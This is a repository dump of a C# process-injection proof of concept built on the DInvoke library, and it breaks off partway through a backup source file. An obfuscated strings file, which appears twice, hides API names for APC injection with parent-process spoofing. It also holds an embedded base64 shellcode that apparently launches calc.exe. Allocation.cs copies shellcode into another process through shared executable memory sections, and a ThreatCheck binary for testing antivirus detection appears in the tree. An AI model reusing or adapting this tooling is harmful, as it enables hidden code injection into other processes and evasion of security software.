├── README.md
├── UnhookingPoC
├── DInvoke.sln
└── DInvoke
│ ├── DInvoke.csproj
│ ├── DInvoke.nuspec
│ ├── DInvoke.sln
│ ├── DInvoke.strings.g.cs
│ ├── DInvoke
│ ├── DInvoke.csproj
│ ├── DInvoke.nuspec
│ ├── DInvoke.strings.g.cs
│ ├── DynamicInvoke
│ │ ├── Generic.cs
│ │ ├── Generic.cs.orig
│ │ ├── Native.cs
│ │ └── Win32.cs
│ ├── Injection
│ │ ├── Allocation.cs
│ │ ├── Allocation.cs.orig
│ │ ├── Execution.cs
│ │ ├── Execution.cs.orig
│ │ ├── Injector.cs
│ │ └── Payload.cs
│ ├── ManualMap
│ │ ├── Map.cs
│ │ └── Overload.cs
│ ├── NoSpoofApproach.cs
│ ├── NoSpoofApproach.cs.orig
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── SharedData
│ │ ├── Native.cs
│ │ ├── PE.cs
│ │ ├── Win32.cs
│ │ └── Win32.cs.orig
│ ├── SharedUtilities
│ │ └── Utilities.cs
│ ├── SpoofApproach.cs
│ ├── Syscalls.cs
│ ├── app.config
│ ├── bin
│ │ ├── Debug
│ │ │ ├── DInvoke.exe
│ │ │ ├── DInvoke.exe.config
│ │ │ ├── DInvoke.pdb
│ │ │ └── DInvoke_Secure
│ │ │ │ ├── DInvoke.exe
│ │ │ │ └── DInvoke.pdb
│ │ └── ThreatCheck
│ │ │ ├── CommandLine.dll
│ │ │ ├── CommandLine.xml
│ │ │ ├── ThreatCheck.exe
│ │ │ ├── ThreatCheck.exe.config
│ │ │ └── ThreatCheck.pdb
│ ├── nuget.exe
│ ├── obj
│ │ └── Debug
│ │ │ ├── DInvoke.csproj.AssemblyReference.cache
│ │ │ ├── DInvoke.csproj.CoreCompileInputs.cache
│ │ │ ├── DInvoke.csproj.FileListAbsolute.txt
│ │ │ ├── DInvoke.exe
│ │ │ ├── DInvoke.pdb
│ │ │ └── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── overloadMapping.cs
│ └── overloadMapping.cs.orig
│ ├── DynamicInvoke
│ ├── Generic.cs
│ ├── Generic.cs.orig
│ ├── Native.cs
│ └── Win32.cs
│ ├── Injection
│ ├── Allocation.cs
│ ├── Allocation.cs.orig
│ ├── Execution.cs
│ ├── Execution.cs.orig
│ ├── Injector.cs
│ └── Payload.cs
│ ├── ManualMap
│ ├── Map.cs
│ └── Overload.cs
│ ├── NoSpoofApproach.cs.orig
│ ├── Program.cs
│ ├── Properties
│ └── AssemblyInfo.cs
│ ├── SharedData
│ ├── Native.cs
│ ├── PE.cs
│ ├── Win32.cs
│ └── Win32.cs.orig
│ ├── SharedUtilities
│ └── Utilities.cs
│ ├── app.config
│ ├── nuget.exe
│ ├── obj
│ ├── Debug
│ │ ├── DInvoke.csproj.AssemblyReference.cache
│ │ ├── DInvoke.csproj.CoreCompileInputs.cache
│ │ ├── DInvoke.csproj.FileListAbsolute.txt
│ │ ├── DInvoke.exe
│ │ ├── DInvoke.pdb
│ │ └── DesignTimeResolveAssemblyReferencesInput.cache
│ └── Release
│ │ └── DesignTimeResolveAssemblyReferencesInput.cache
│ └── overloadMapping.cs.orig
└── https-localhost.cer
/README.md:
--------------------------------------------------------------------------------
1 | # UnhookPoC
2 | A small PoC using DInvoke, dynamically mapping a DLL and executing Win32 APIs for process injection.
3 |
4 | ## Steps:
5 | 1. Download
6 | 2. Build (works in .Net Framework v4.0+)
7 | 3. Execute and view console information for more Pointer and Handle information
8 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DInvoke", "DInvoke\DInvoke.csproj", "{B77FDAB5-207C-4CDB-B1AA-348505C54229}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.ActiveCfg = Release|Any CPU
15 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.Build.0 = Release|Any CPU
16 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {10EEADF9-0E2F-4A21-8644-248A2DD84619}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}
8 | Exe
9 | Properties
10 | DInvoke
11 | DInvoke
12 | v4.0
13 | 512
14 | true
15 |
16 |
17 |
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | false
26 | 9
27 |
28 |
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | false
36 | 9
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke.nuspec:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $id$
5 | 1.0.4
6 | $title$
7 | TheWover
8 | false
9 | MIT
10 | https://github.com/TheWover/DInvoke
11 | Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.
12 | Patched error checking in RemoteThreadCreate.
13 | $copyright$
14 | DInvoke PInvoke Unmanaged Reflection Hooking Injection
15 |
16 |
17 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DInvoke", "DInvoke\DInvoke.csproj", "{B77FDAB5-207C-4CDB-B1AA-348505C54229}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {10EEADF9-0E2F-4A21-8644-248A2DD84619}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke.strings.g.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Runtime.Serialization.Formatters.Binary;
4 | namespace Dinvoke
5 | {
6 | class C1962339650
7 | {
8 | public static C1962339650 I1962339650 = new C1962339650();
9 | public string this[int i973134904]
10 | {
11 | get
12 | {
13 | if (a973134904 == null)
14 | {
15 | using (var ms973134904 = new MemoryStream(Convert.FromBase64String(@"AAEAAAD/////AQAAAAAAAAARAQAAAC8AAAAGAgAAAAxrZXJuZWwzMi5kbGwGAwAAAB9DOlxXaW5kb3dzXFN5c3RlbTMyXG5vdGVwYWQuZXhlBgQAAAAkLCB1bmFibGUgdG8gZmluZCB0aGUgc3BlY2lmaWVkIGZpbGUuBgUAAAAhSW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0BgYAAAAZVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQYHAAAAF050QWxsb2NhdGVWaXJ0dWFsTWVtb3J5BggAAAAIZXhwbG9yZXIGCQAAABcgfCAtPiBOVFNUQVRVUzogICAgIHswfQYKAAAADSB8IC0+IHBpOiB7MH0GCwAAAAdub3RlcGFkBgwAAAATQzpcV2luZG93c1xTeXN0ZW0zMgYNAAAA8AIvRWlENVBEb3dBQUFBRUZSUVZCU1VWWklNZEpsU0l0U1lFaUxVaGhJaTFJZ1NJdHlVRWdQdDBwS1RUSEpTREhBckR4aGZBSXNJRUhCeVExQkFjSGk3VkpCVVVpTFVpQ0xRanhJQWRDTGdJZ0FBQUJJaGNCMFowZ0IwRkNMU0JoRWkwQWdTUUhRNDFaSS84bEJpelNJU0FIV1RUSEpTREhBckVIQnlRMUJBY0U0NEhYeFRBTk1KQWhGT2RGMTJGaEVpMEFrU1FIUVprR0xERWhFaTBBY1NRSFFRWXNFaUVnQjBFRllRVmhlV1ZwQldFRlpRVnBJZyt3Z1FWTC80RmhCV1ZwSWl4THBWLy8vLzExSXVnRUFBQUFBQUFBQVNJMk5BUUVBQUVHNk1ZdHZoLy9WdS9DMW9sWkJ1cWFWdlozLzFVaUR4Q2c4Qm53S2dQdmdkUVc3UnhOeWIyb0FXVUdKMnYvVlkyRnNZeTVsZUdVQQYOAAAADkNyZWF0ZVByb2Nlc3NBBg8AAAAJbnRkbGwuZGxsBhAAAAAULCBEbGwgd2FzIG5vdCBmb3VuZC4GEQAAABsgfCAtPiBiYXNlZEFkZHJlc3M6IDB4ezA6WH0GEgAAABROdFdyaXRlVmlydHVhbE1lbW9yeQYTAAAAGCB8IC0+IERhdGEgTGVuZ3RoOiAgIHswfQYUAAAAGCB8IC0+IE5UU1RBVFVTOiAgICAgIHswfQYVAAAAGCB8IC0+IEJ5dGVzIFdyaXR0ZW46IHswfQYWAAAAFk50UHJvdGVjdFZpcnR1YWxNZW1vcnkGFwAAAB9GYWlsZWQgdG8gcGFyc2UgbW9kdWxlIGV4cG9ydHMuBhgAAAAVIHwgLT4gbmV3UHJvdGVjdDogezB9BhkAAAAVIHwgLT4gTlRTVEFUVVM6ICAgezB9BhoAAAAVIHwgLT4gb2xkUHJvdGVjdDogezB9BhsAAAATLCBleHBvcnQgbm90IGZvdW5kLgYcAAAADE50T3BlblRocmVhZAYdAAAAFCwgb3JkaW5hbCBub3QgZm91bmQuBh4AAAAXIHwgLT4gdGhyZWFkSGFuZGxlOiB7MH0GHwAAABgsIGV4cG9ydCBoYXNoIG5vdCBmb3VuZC4GIAAAABBOdFF1ZXVlQXBjVGhyZWFkBiEAAAATIHwgLT4gTlRTVEFUVVM6IHswfQYiAAAABC5kbGwGIwAAABggfCAtPiBiYXNlQWRkcmVzczogICB7MH0GJAAAABVJbnZhbGlkIFBFIHNpZ25hdHVyZS4GJQAAABNOdEFsZXJ0UmVzdW1lVGhyZWFkBiYAAAAhSW52YWxpZCBtYWdpYyB2YWx1ZSAoUEUzMi9QRTMyKykuBicAAAAeSW52YWxpZCBtb2R1bGUgYmFzZSBzcGVjaWZpZWQuBigAAAAwQ2FsbCB0byBlbnRyeSBwb2ludCBmYWlsZWQgLT4gRExMX1BST0NFU1NfQVRUQUNIBikAAAApSW52YWxpZCBlbnRyeSBwb2ludCAtPiBETExfUFJPQ0VTU19BVFRBQ0gGKgAAADRHZW5lcmF0aW5nIFN5c2NhbGwgc3R1YnMgaXMgbm90IHN1cHBvcnRlZCBmb3IgV09XNjQuBisAAAAaRmFpbGVkIHRvIHdyaXRlIHRvIG1lbW9yeS4GLAAAAB9GYWlsZWQgdG8gcmVzb2x2ZSBudGRsbCBleHBvcnQuBi0AAAAMUHJvY2VzcyBJRDogBi4AAAAdRGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QGLwAAAAhBbGxvY2F0ZQYwAAAABkluamVjdAs=")))
16 | a973134904 = (string[])new BinaryFormatter().Deserialize(ms973134904);
17 | }
18 | return a973134904[i973134904];
19 | }
20 | }
21 | private string[] a973134904;
22 | }
23 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/DInvoke.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {B77FDAB5-207C-4CDB-B1AA-348505C54229}
8 | Exe
9 | Properties
10 | DInvoke
11 | DInvoke
12 | v4.6.1
13 | 512
14 | true
15 |
16 |
17 |
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | false
26 | 9
27 |
28 |
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | false
36 | 9
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/DInvoke.nuspec:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $id$
5 | 1.0.4
6 | $title$
7 | TheWover
8 | false
9 | MIT
10 | https://github.com/TheWover/DInvoke
11 | Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.
12 | Patched error checking in RemoteThreadCreate.
13 | $copyright$
14 | DInvoke PInvoke Unmanaged Reflection Hooking Injection
15 |
16 |
17 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/DInvoke.strings.g.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Runtime.Serialization.Formatters.Binary;
4 | namespace Dinvoke
5 | {
6 | class C1962339650
7 | {
8 | public static C1962339650 I1962339650 = new C1962339650();
9 | public string this[int i973134904]
10 | {
11 | get
12 | {
13 | if (a973134904 == null)
14 | {
15 | using (var ms973134904 = new MemoryStream(Convert.FromBase64String(@"AAEAAAD/////AQAAAAAAAAARAQAAAC8AAAAGAgAAAAxrZXJuZWwzMi5kbGwGAwAAAB9DOlxXaW5kb3dzXFN5c3RlbTMyXG5vdGVwYWQuZXhlBgQAAAAkLCB1bmFibGUgdG8gZmluZCB0aGUgc3BlY2lmaWVkIGZpbGUuBgUAAAAhSW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0BgYAAAAZVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQYHAAAAF050QWxsb2NhdGVWaXJ0dWFsTWVtb3J5BggAAAAIZXhwbG9yZXIGCQAAABcgfCAtPiBOVFNUQVRVUzogICAgIHswfQYKAAAADSB8IC0+IHBpOiB7MH0GCwAAAAdub3RlcGFkBgwAAAATQzpcV2luZG93c1xTeXN0ZW0zMgYNAAAA8AIvRWlENVBEb3dBQUFBRUZSUVZCU1VWWklNZEpsU0l0U1lFaUxVaGhJaTFJZ1NJdHlVRWdQdDBwS1RUSEpTREhBckR4aGZBSXNJRUhCeVExQkFjSGk3VkpCVVVpTFVpQ0xRanhJQWRDTGdJZ0FBQUJJaGNCMFowZ0IwRkNMU0JoRWkwQWdTUUhRNDFaSS84bEJpelNJU0FIV1RUSEpTREhBckVIQnlRMUJBY0U0NEhYeFRBTk1KQWhGT2RGMTJGaEVpMEFrU1FIUVprR0xERWhFaTBBY1NRSFFRWXNFaUVnQjBFRllRVmhlV1ZwQldFRlpRVnBJZyt3Z1FWTC80RmhCV1ZwSWl4THBWLy8vLzExSXVnRUFBQUFBQUFBQVNJMk5BUUVBQUVHNk1ZdHZoLy9WdS9DMW9sWkJ1cWFWdlozLzFVaUR4Q2c4Qm53S2dQdmdkUVc3UnhOeWIyb0FXVUdKMnYvVlkyRnNZeTVsZUdVQQYOAAAADkNyZWF0ZVByb2Nlc3NBBg8AAAAJbnRkbGwuZGxsBhAAAAAULCBEbGwgd2FzIG5vdCBmb3VuZC4GEQAAABsgfCAtPiBiYXNlZEFkZHJlc3M6IDB4ezA6WH0GEgAAABROdFdyaXRlVmlydHVhbE1lbW9yeQYTAAAAGCB8IC0+IERhdGEgTGVuZ3RoOiAgIHswfQYUAAAAGCB8IC0+IE5UU1RBVFVTOiAgICAgIHswfQYVAAAAGCB8IC0+IEJ5dGVzIFdyaXR0ZW46IHswfQYWAAAAFk50UHJvdGVjdFZpcnR1YWxNZW1vcnkGFwAAAB9GYWlsZWQgdG8gcGFyc2UgbW9kdWxlIGV4cG9ydHMuBhgAAAAVIHwgLT4gbmV3UHJvdGVjdDogezB9BhkAAAAVIHwgLT4gTlRTVEFUVVM6ICAgezB9BhoAAAAVIHwgLT4gb2xkUHJvdGVjdDogezB9BhsAAAATLCBleHBvcnQgbm90IGZvdW5kLgYcAAAADE50T3BlblRocmVhZAYdAAAAFCwgb3JkaW5hbCBub3QgZm91bmQuBh4AAAAXIHwgLT4gdGhyZWFkSGFuZGxlOiB7MH0GHwAAABgsIGV4cG9ydCBoYXNoIG5vdCBmb3VuZC4GIAAAABBOdFF1ZXVlQXBjVGhyZWFkBiEAAAATIHwgLT4gTlRTVEFUVVM6IHswfQYiAAAABC5kbGwGIwAAABggfCAtPiBiYXNlQWRkcmVzczogICB7MH0GJAAAABVJbnZhbGlkIFBFIHNpZ25hdHVyZS4GJQAAABNOdEFsZXJ0UmVzdW1lVGhyZWFkBiYAAAAhSW52YWxpZCBtYWdpYyB2YWx1ZSAoUEUzMi9QRTMyKykuBicAAAAeSW52YWxpZCBtb2R1bGUgYmFzZSBzcGVjaWZpZWQuBigAAAAwQ2FsbCB0byBlbnRyeSBwb2ludCBmYWlsZWQgLT4gRExMX1BST0NFU1NfQVRUQUNIBikAAAApSW52YWxpZCBlbnRyeSBwb2ludCAtPiBETExfUFJPQ0VTU19BVFRBQ0gGKgAAADRHZW5lcmF0aW5nIFN5c2NhbGwgc3R1YnMgaXMgbm90IHN1cHBvcnRlZCBmb3IgV09XNjQuBisAAAAaRmFpbGVkIHRvIHdyaXRlIHRvIG1lbW9yeS4GLAAAAB9GYWlsZWQgdG8gcmVzb2x2ZSBudGRsbCBleHBvcnQuBi0AAAAMUHJvY2VzcyBJRDogBi4AAAAdRGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QGLwAAAAhBbGxvY2F0ZQYwAAAABkluamVjdAs=")))
16 | a973134904 = (string[])new BinaryFormatter().Deserialize(ms973134904);
17 | }
18 | return a973134904[i973134904];
19 | }
20 | }
21 | private string[] a973134904;
22 | }
23 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Allocation.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for allocation techniques.
12 | ///
13 | public abstract class AllocationTechnique
14 | {
15 | // An array containing a set of PayloadType objects that are supported.
16 | protected Type[] supportedPayloads;
17 |
18 | ///
19 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
20 | ///
21 | /// The Wover (@TheRealWover)
22 | /// A payload.
23 | /// Whether or not the payload is of a supported type for this strategy.
24 | public abstract bool IsSupportedPayloadType(PayloadType Payload);
25 |
26 | ///
27 | /// Internal method for setting the supported payload types. Used in constructors.
28 | ///
29 | /// The Wover (@TheRealWover)
30 | internal abstract void DefineSupportedPayloadTypes();
31 |
32 | ///
33 | /// Allocate the payload to the target process at a specified address.
34 | ///
35 | /// The Wover (@TheRealWover)
36 | /// The payload to allocate to the target process.
37 | /// The target process.
38 | /// The address at which to allocate the payload in the target process.
39 | /// True when allocation was successful. Otherwise, throws relevant exceptions.
40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address)
41 | {
42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() };
43 |
44 | try
45 | {
46 | // Get delegate to the overload of Allocate that supports the type of payload passed in
47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
48 |
49 | // Dynamically invoke the appropriate Allocate overload
50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address });
51 | }
52 | // If there is no such method
53 | catch (ArgumentNullException)
54 | {
55 | throw new PayloadTypeNotSupported(Payload.GetType());
56 | }
57 | }
58 |
59 | ///
60 | /// Allocate the payload to the target process.
61 | ///
62 | /// The Wover (@TheRealWover)
63 | /// The payload to allocate to the target process.
64 | /// The target process.
65 | /// Base address of allocated memory within the target process's virtual memory space.
66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process)
67 | {
68 |
69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) };
70 |
71 | try
72 | {
73 | // Get delegate to the overload of Allocate that supports the type of payload passed in
74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
75 |
76 | // Dynamically invoke the appropriate Allocate overload
77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process });
78 | }
79 | // If there is no such method
80 | catch (ArgumentNullException)
81 | {
82 | throw new PayloadTypeNotSupported(Payload.GetType());
83 | }
84 | }
85 | }
86 |
87 | ///
88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections.
89 | ///
90 | public class SectionMapAlloc : AllocationTechnique
91 | {
92 | // Publically accessible options
93 |
94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT;
97 |
98 | ///
99 | /// Default constructor.
100 | ///
101 | public SectionMapAlloc()
102 | {
103 | DefineSupportedPayloadTypes();
104 | }
105 |
106 | ///
107 | /// Constructor allowing options as arguments.
108 | ///
109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT)
110 | {
111 | DefineSupportedPayloadTypes();
112 | localSectionPermissions = localPerms;
113 | remoteSectionPermissions = remotePerms;
114 | sectionAttributes = atts;
115 | }
116 |
117 | ///
118 | /// States whether the payload is supported.
119 | ///
120 | /// The Wover (@TheRealWover)
121 | /// Payload that will be allocated.
122 | ///
123 | public override bool IsSupportedPayloadType(PayloadType Payload)
124 | {
125 | return supportedPayloads.Contains(Payload.GetType());
126 | }
127 |
128 | ///
129 | /// Internal method for setting the supported payload types. Used in constructors.
130 | /// Update when new types of payloads are added.
131 | ///
132 | /// The Wover (@TheRealWover)
133 | internal override void DefineSupportedPayloadTypes()
134 | {
135 | //Defines the set of supported payload types.
136 | supportedPayloads = new Type[] {
137 | typeof(PICPayload)
138 | };
139 | }
140 |
141 | ///
142 | /// Allocate the payload to the target process. Handles unknown payload types.
143 | ///
144 | /// The Wover (@TheRealWover)
145 | /// The payload to allocate to the target process.
146 | /// The target process.
147 | /// Base address of allocated memory within the target process's virtual memory space.
148 | public override IntPtr Allocate(PayloadType Payload, Process Process)
149 | {
150 | if (!IsSupportedPayloadType(Payload))
151 | {
152 | throw new PayloadTypeNotSupported(Payload.GetType());
153 | }
154 | return Allocate(Payload, Process, IntPtr.Zero);
155 | }
156 |
157 | ///
158 | /// Allocate the payload in the target process.
159 | ///
160 | /// The Wover (@TheRealWover)
161 | /// The PIC payload to allocate to the target process.
162 | /// The target process.
163 | /// The preferred address at which to allocate the payload in the target process.
164 | /// Base address of allocated memory within the target process's virtual memory space.
165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
166 | {
167 | // Get a convenient handle for the target process.
168 | IntPtr procHandle = Process.Handle;
169 |
170 | // Create a section to hold our payload
171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);
172 |
173 | // Map a view of the section into our current process with RW permissions
174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));
176 |
177 | // Copy the shellcode to the local view
178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);
179 |
180 | // Now that we are done with the mapped view in our own process, unmap it
181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);
182 |
183 | // Now, map a view of the section to other process. It should already hold the payload.
184 |
185 | SectionDetails newDetails;
186 |
187 | if (PreferredAddress != IntPtr.Zero)
188 | {
189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
190 | // Refer to MSDN documentation on ZwMapViewOfSection for details.
191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
192 | }
193 | else
194 | {
195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
196 | }
197 | return newDetails.baseAddr;
198 | }
199 |
200 | ///
201 | /// Creates a new Section.
202 | ///
203 | /// The Wover (@TheRealWover)
204 | /// Max size of the Section.
205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT).
206 | ///
207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes)
208 | {
209 | // Create a pointer for the section handle
210 | IntPtr SectionHandle = new IntPtr();
211 | ulong maxSize = size;
212 |
213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
214 | ref SectionHandle,
215 | 0x10000000,
216 | IntPtr.Zero,
217 | ref maxSize,
218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE,
219 | allocationAttributes,
220 | IntPtr.Zero
221 | );
222 | // Perform error checking on the result
223 | if (result < 0)
224 | {
225 | return IntPtr.Zero;
226 | }
227 | return SectionHandle;
228 | }
229 |
230 | ///
231 | /// Maps a view of a section to the target process.
232 | ///
233 | /// The Wover (@TheRealWover)
234 | /// Handle the process that the section will be mapped to.
235 | /// Handle to the section.
236 | /// What permissions to use on the view.
237 | /// Optional parameter to specify the address of where to map the view.
238 | /// Size of the view to map. Must be smaller than the max Section size.
239 | /// A struct containing address and size of the mapped view.
240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
241 | {
242 | // Copied so that they may be passed by reference but the original value preserved
243 | IntPtr baseAddr = addr;
244 | ulong size = sizeData;
245 |
246 | uint disp = 2;
247 | uint alloc = 0;
248 |
249 | // Returns an NTSTATUS value
250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
251 | sectionHandle, procHandle,
252 | ref baseAddr,
253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
254 | ref size, disp, alloc,
255 | protection
256 | );
257 |
258 | // Create a struct to hold the results.
259 | SectionDetails details = new SectionDetails(baseAddr, sizeData);
260 |
261 | return details;
262 | }
263 |
264 |
265 | ///
266 | /// Holds the data returned from NtMapViewOfSection.
267 | ///
268 | public struct SectionDetails
269 | {
270 | public IntPtr baseAddr;
271 | public ulong size;
272 |
273 | public SectionDetails(IntPtr addr, ulong sizeData)
274 | {
275 | baseAddr = addr;
276 | size = sizeData;
277 | }
278 | }
279 |
280 | ///
281 | /// Unmaps a view of a section from a process.
282 | ///
283 | /// The Wover (@TheRealWover)
284 | /// Process to which the view has been mapped.
285 | /// Address of the view (relative to the target process)
286 | ///
287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr)
288 | {
289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr);
290 | }
291 | }
292 | }
293 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Injection/Allocation.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for allocation techniques.
12 | ///
13 | public abstract class AllocationTechnique
14 | {
15 | // An array containing a set of PayloadType objects that are supported.
16 | protected Type[] supportedPayloads;
17 |
18 | ///
19 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
20 | ///
21 | /// The Wover (@TheRealWover)
22 | /// A payload.
23 | /// Whether or not the payload is of a supported type for this strategy.
24 | public abstract bool IsSupportedPayloadType(PayloadType Payload);
25 |
26 | ///
27 | /// Internal method for setting the supported payload types. Used in constructors.
28 | ///
29 | /// The Wover (@TheRealWover)
30 | internal abstract void DefineSupportedPayloadTypes();
31 |
32 | ///
33 | /// Allocate the payload to the target process at a specified address.
34 | ///
35 | /// The Wover (@TheRealWover)
36 | /// The payload to allocate to the target process.
37 | /// The target process.
